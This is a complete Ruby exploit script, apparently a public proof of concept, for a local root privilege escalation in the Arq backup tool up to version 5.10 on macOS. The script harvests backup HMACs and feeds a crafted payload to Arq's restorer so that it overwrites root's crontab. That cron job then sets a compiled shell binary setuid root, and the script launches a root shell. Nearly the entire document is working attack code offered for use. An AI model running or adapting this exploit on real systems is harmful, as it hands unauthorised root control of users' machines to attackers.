#!/usr/bin/env ruby ################################################################# ###### Arq <= 5.10 local root privilege escalation exploit ###### ###### by m4rkw - https://m4.rkw.io/blog.html ###### ################################################################# ###### ###### ###### Usage: ###### ###### ###### ###### ./arq_5.10.rb # stage 1 ###### ###### ###### ###### (wait for next Arq backup run) ###### ###### ###### ###### ./arq_5.10.rb # stage 2 ###### ###### ###### ###### if you know the HMAC from a previous run: ###### ###### ###### ###### ./arq_5.10.rb stage2 ###### ###### ###### ################################################################# ###### USE AT YOUR OWN RISK - THIS WILL OVERWRITE THE ROOT ###### ###### USER'S CRONTAB! ###### ################################################################# $binary_target = "/tmp/arq_510_exp" class Arq510PrivEsc def initialize(args) @payload_file = ".arq_510_exp_payload" @hmac_file = ENV["HOME"] + "/.arq_510_exp_hmac" @backup_file = ENV["HOME"] + "/" + @payload_file @target = shell("ls -1t ~/Library/Arq/Cache.noindex/ |head -n1") @bucket_uuid = shell("grep 'writing head blob key' " + "~/Library/Logs/arqcommitter/* |tail -n1 |sed 's/^.*key //' |cut -d " + "' ' -f4") @computer_uuid = shell("cat ~/Library/Arq/config/app_config.plist |grep " + "-A1 #{@target} |tail -n1 |xargs |cut -d '>' -f2 |cut -d '<' -f1") @backup_endpoint = shell("cat ~/Library/Arq/config/targets/#{@target}.target " + "|grep -A1 '>endpointDescription<' |tail -n1 |xargs |cut -d '>' -f2 " + "| cut -d '<' -f1") @latest_backup_set = latest_backup_set puts " target: #{@target}" puts " bucket uuid: #{@bucket_uuid}" puts " computer uuid: #{@computer_uuid}" puts "backup endpoint: #{@backup_endpoint}" puts " latest backup: #{@latest_backup_set}\n\n" if args.length >0 method = args.shift if respond_to? method send method, *args end else if File.exist? @hmac_file method = :stage2 else method = :stage1 end send method end end def shell(command) `#{command}`.chomp end def latest_backup_set shell("grep 'writing head blob' ~/Library/Logs/arqcommitter/* |tail -n1 " + "|sed 's/.*key //' |cut -d ' ' -f1") end def scan_hmac_list packsets_path = shell("find ~/Library/Arq/ -type d -name packsets") hmac = {} shell("strings #{packsets_path}/*-trees.db").split("\n").each do |line| if (m = line.match(/[0-9a-fA-F]+/)) and m[0].length == 40 if !hmac.include? m[0] hmac[m[0]] = 1 end end end hmac end def stage1 print "building HMAC cache... " hmac = scan_hmac_list File.open(@hmac_file, "w") do |f| f.write(@latest_backup_set + "\n" + hmac.keys.join("\n")) end puts "done - stored at #{@hmac_file}" print "dropping backup file... " File.open(@backup_file, "w") do |f| f.write("* * * * * /usr/sbin/chown root:wheel #{$binary_target} &&" + "/bin/chmod 4755 #{$binary_target}\n") end puts "done" puts "wait for the next backup run to complete and then run again" end def stage2(target_hmac=nil) if !target_hmac if !File.exist? @hmac_file raise "hmac list not found." end print "loading HMAC cache... " data = File.read(@hmac_file).split("\n") puts "done" initial_backup_set = data.shift if initial_backup_set == @latest_backup_set puts "no new backup created yet" exit 1 end hmac = {} data.each do |h| hmac[h] = 1 end hmac_targets = [] print "scanning for HMAC targets... " scan_hmac_list.keys.each do |h| if !hmac[h] hmac_targets.push h end end puts "done" if hmac_targets.length == 0 puts "no HMAC targets, unable to continue." exit 0 end puts "found #{hmac_targets.length} HMAC targets" hmac_targets.each do |hmac| attempt_exploit(hmac) end else attempt_exploit(target_hmac) end end def build_payload(hmac) d = "\x01\x00\x00\x00\x00\x00\x00\x00" e = "\x00\x00\x00\x00\x03" @overwrite_path = '/var/at/tabs/root' plist = " Endpoint #{@backup_endpoint} BucketUUID #{@bucket_uuid} BucketName / ComputerUUID #{@computer_uuid} LocalPath / LocalMountPoint / StorageType 1 SkipDuringBackup ExcludeItemsWithTimeMachineExcludeMetadataFlag " hex = plist.length.to_s(16).rjust(4,'0') plist_size = (hex[0,2].to_i(16).chr + hex[2,2].to_i(16).chr) pfl = @payload_file.length.chr opl = @overwrite_path.length.chr bel = @backup_endpoint.length.chr payload = sprintf( ( "%s\$%s%s%s%s\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + "\x00\x00\x00\x00\x00\x09\x00\x00\x02\xd0\x96\x82\xef\xd8\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x30" + "\x2e\x30\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00%s%s%s\x28%s\x01\x00\x00\x00%s" + "\x00\x00\x00%s%s%s\x00\x00\x00\x16\x00\x00\x00\x02%s\x28%s\x01\x00" + "\x00\x00%s\x00\x00\x00%s%s%s\x00\x00\x00\x00\x00\x00\x01\xf5\x00\x00" + "\x00\x00\x00\x00\x00\x14\x00%s%s%s\x00\x00\x00\x03%s\x0a" ).force_encoding('ASCII-8BIT'), d, @target, d, bel, @backup_endpoint, plist_size, plist, d, @latest_backup_set, d, d, pfl, @payload_file, d, hmac, d, d, pfl, @payload_file, d, opl, @overwrite_path, e * 10 ) return payload end def attempt_exploit(hmac) print "trying HMAC: #{hmac} ... " File.open("/tmp/.arq_exp_510_payload","w") do |f| f.write(build_payload(hmac)) end output = shell("cat /tmp/.arq_exp_510_payload | " + "/Applications/Arq.app/Contents/Resources/standardrestorer 2>/dev/null") File.delete("/tmp/.arq_exp_510_payload") if output.include?("Creating directory structure") and !output.include?("failed") puts "SUCCESS" print "compiling shell invoker... " shellcode = "#include \nint main()\n{ setuid(0);setgid(0);" + "execl(\"/bin/bash\",\"bash\",\"-c\",\"rm -f #{$binary_target};rm -f " + "/var/at/tabs/root;/bin/bash\","+ "NULL);return 0; }" IO.popen("gcc -xc -o #{$binary_target} -", mode="r+") do |io| io.write(shellcode) io.close end puts "done" print "waiting for root+s... " timeout = 61 i = 0 stop = false while i < timeout s = File.stat($binary_target) if s.mode == 0104755 and s.uid == 0 puts "\n" exec($binary_target) end sleep 1 i += 1 if !stop left = 60 - Time.now.strftime("%S").to_i left == 1 && stop = true print "#{left} " end end puts "exploit failed" exit 0 else puts "FAIL" end end end Arq510PrivEsc.new(ARGV)